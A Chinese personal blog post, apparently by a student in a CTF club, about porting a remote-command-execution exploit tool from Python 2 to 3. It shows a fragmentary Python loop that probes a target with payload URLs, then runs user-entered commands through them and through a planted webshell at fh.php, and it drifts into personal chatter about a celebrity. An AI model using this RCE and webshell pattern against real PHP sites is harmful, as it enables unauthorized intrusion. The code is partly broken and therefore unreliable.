回炉重造,返璞归真

at 菲尔斯特: 睡不着,看完电影,没事做。

——————————

还记得几天前的ctf对抗赛,被会长单手完虐的样子。

赛后开了个半小时的小会,我就记住这一句话。

看了他在git上更新的:

上课时间写了个漏洞利用????

so学霸都是不听课的。

然后今晚我睡不着想捯饬一下这个工具,反正漏洞发现和原理我们不用管了。只要有exp就好。回炉重造,返璞归真。(认真脸)

说实话这句话真深深烙在心里,用了这么多年的一句话,连原理都不知道,被骂死然而真的去看看 不几分钟其实就可以大概了解的。

其实很多事情就这样,放哪里,等你去做,做了可能很简单。 而你一直不去碰他,他就比登天还难。

-----------------------------------------

本篇相当于把会长的利用工具从py2迁移到py3并做了一些改动。

分析他需要先检测漏洞是否可利用,然后用payload执行命令。

这是会长的:

由于太多,截图不了,所以直接贴代码。

他写的很规范,很实用,但也很复杂。 我们只能写一个自己看得懂别人难看懂过了几天自己也看不懂但能用的工具哈哈哈。

由于py2和py3根本不是同一门语言,所以我还是大概说一下我的思路。

--------------------------------

首先我把测试用的和执行用的代码给拉出来了,会长是放到函数中,由于我没有定义函数,就直接全局声明。

for i in payloadtest:

res=requests.get(url+i).text

if "PHP Version" in res:

com=input("command:")

if payloadtest.index(i)

print(requests.get(url+payload[payloadtest.index(i)]+str(com)).text)

elif payloadtest.index(i)==3 and com !="exit":

tmp=requests.get(url+payload[3])

print(url+"/fh.php?fuhei=system("+str(command)+");")

elif payloadtest.index(i)==4 and com !="exit":

print(requests.get(url+payload[4]+"/fh.php?fuhei=system("+str(com)+");").text)

else:

break

else:

continue

随后就是一个for遍历所有测试的代码。因为如果通过了那么坑定可利用,直接在for内处理就好了。

在处理的时候命令执行哪里他放了两个get方式一句话,所以在后面能直接用fh.php去执行命令。

这里具体原理我没搞清楚。不过目前,不急。

写完还是睡不着,lol?

哈哈哈 ,说起热巴, 猿粪啊。

本来是政治课用来讲改革开放 服装变化的ppt

觉得这女的还不错, 图片百度。

完了,

一发不可收拾。

如果没有我们政治老师,

如果没有那个ppt

如果没有ppt那张图片

如果那节课我在睡觉

如果我没有百度那张图片

……

都是命。

哦对了,放一张本地测试的图

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20181217G039M000?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券